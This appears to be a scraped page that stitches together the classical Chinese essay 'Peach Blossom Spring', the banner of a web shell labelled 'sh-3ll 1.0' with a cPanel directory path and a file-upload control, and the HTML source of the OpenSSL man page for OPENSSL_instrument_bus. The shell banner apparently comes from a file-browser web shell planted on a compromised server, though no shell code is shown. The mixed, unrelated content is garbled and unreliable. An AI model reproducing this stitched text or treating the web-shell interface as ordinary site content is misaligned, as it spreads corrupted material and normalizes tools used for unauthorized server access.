晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/cpanel/ea-openssl11/share/doc/openssl/html/man3/
Upload File :
Current File : //opt/cpanel/ea-openssl11/share/doc/openssl/html/man3/OPENSSL_instrument_bus2.html
<?xml version="1.0" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>OPENSSL_instrument_bus</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:root@localhost" />
</head>

<body>



<ul id="index">
  <li><a href="#NAME">NAME</a></li>
  <li><a href="#SYNOPSIS">SYNOPSIS</a></li>
  <li><a href="#DESCRIPTION">DESCRIPTION</a></li>
  <li><a href="#RETURN-VALUES">RETURN VALUES</a></li>
  <li><a href="#COPYRIGHT">COPYRIGHT</a></li>
</ul>

<h1 id="NAME">NAME</h1>

<p>OPENSSL_instrument_bus, OPENSSL_instrument_bus2 - instrument references to memory bus</p>

<h1 id="SYNOPSIS">SYNOPSIS</h1>

<pre><code> #ifdef OPENSSL_CPUID_OBJ
 size_t OPENSSL_instrument_bus(int *vector, size_t num);
 size_t OPENSSL_instrument_bus2(int *vector, size_t num, size_t max);
 #endif</code></pre>

<h1 id="DESCRIPTION">DESCRIPTION</h1>

<p>It was empirically found that timings of references to primary memory are subject to irregular, apparently non-deterministic variations. The subroutines in question instrument these references for purposes of gathering randomness for random number generator. In order to make it bus-bound a &#39;flush cache line&#39; instruction is used between probes. In addition probes are added to <b>vector</b> elements in atomic or interlocked manner, which should contribute additional noise on multi-processor systems. This also means that <b>vector[num]</b> should be zeroed upon invocation (if you want to retrieve actual probe values).</p>

<p>OPENSSL_instrument_bus() performs <b>num</b> probes and records the number of oscillator cycles every probe took.</p>

<p>OPENSSL_instrument_bus2() on the other hand <b>accumulates</b> consecutive probes with the same value, i.e. in a way it records duration of periods when probe values appeared deterministic. The subroutine performs at most <b>max</b> probes in attempt to fill the <b>vector[num]</b>, with <b>max</b> value of 0 meaning &quot;as many as it takes.&quot;</p>

<h1 id="RETURN-VALUES">RETURN VALUES</h1>

<p>Return value of 0 indicates that CPU is not capable of performing the benchmark, either because oscillator counter or &#39;flush cache line&#39; is not available on current platform. For reference, on x86 &#39;flush cache line&#39; was introduced with the SSE2 extensions.</p>

<p>Otherwise number of recorded values is returned.</p>

<h1 id="COPYRIGHT">COPYRIGHT</h1>

<p>Copyright 2011-2018 The OpenSSL Project Authors. All Rights Reserved.</p>

<p>Licensed under the OpenSSL license (the &quot;License&quot;). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <a href="https://www.openssl.org/source/license.html">https://www.openssl.org/source/license.html</a>.</p>


</body>

</html>